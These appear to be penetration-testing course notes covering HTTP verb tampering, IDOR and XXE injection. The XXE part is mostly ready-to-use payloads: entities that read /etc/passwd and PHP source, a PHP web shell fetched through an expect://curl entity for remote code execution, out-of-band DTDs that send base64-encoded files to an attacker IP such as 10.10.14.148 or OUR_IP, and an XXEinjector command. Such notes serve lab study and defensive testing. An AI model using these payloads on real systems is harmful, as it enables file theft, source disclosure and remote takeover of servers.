21 - Web Attacks (Verb Tampering, IDOR, XXE)

HTTP Verb Tampering

It exploits the fact that some servers accept multiple HTTP methods. Sending requests with unexpected methods can bypass authorization mechanisms. The protocol supports up to 9 methods, some of them sensitive:
  • HEAD: only retrieves headers, similar to GET
  • PUT: writes data to a location
  • DELETE: deletes resources
  • OPTIONS: shows the accepted methods
  • PATCH: partial modifications to a resource
For example, if only admins can reset something but we change the method in Burp, we bypass it. It is also useful for bypassing security filters (inject a command and switch to GET).

IDOR

One of the most common flaws, caused by poorly implemented access controls. When direct identifiers are used (sequential numbers, user IDs), an attacker can guess other identifiers and access information they are not authorized to view.

XXE Injection

It targets applications that process XML. With outdated libraries, an attacker can send malicious XML to make the server disclose local files, passwords, or source code.

Identification

xml
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

Reading Sensitive Files

xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Reading Source Code

xml
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=connection.php"> ]>
<root><email>&example;</email></root>

RCE

bash
$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php$ sudo python3 -m http.server 80
xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root><email>&company;</email></root>

Advanced Exfiltration with CDATA

bash
$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd$ python3 -m http.server 8000
xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///flag.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://10.10.14.148:8000/xxe.dtd">
  %xxe;
]>
<root><email>&joined;</email></root>

Blind Exfiltration (OOB)

When the server does not reflect the result, use out-of-band exfiltration:
txt
# xxe.dtd en local
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
xml
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Automation

terminal
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter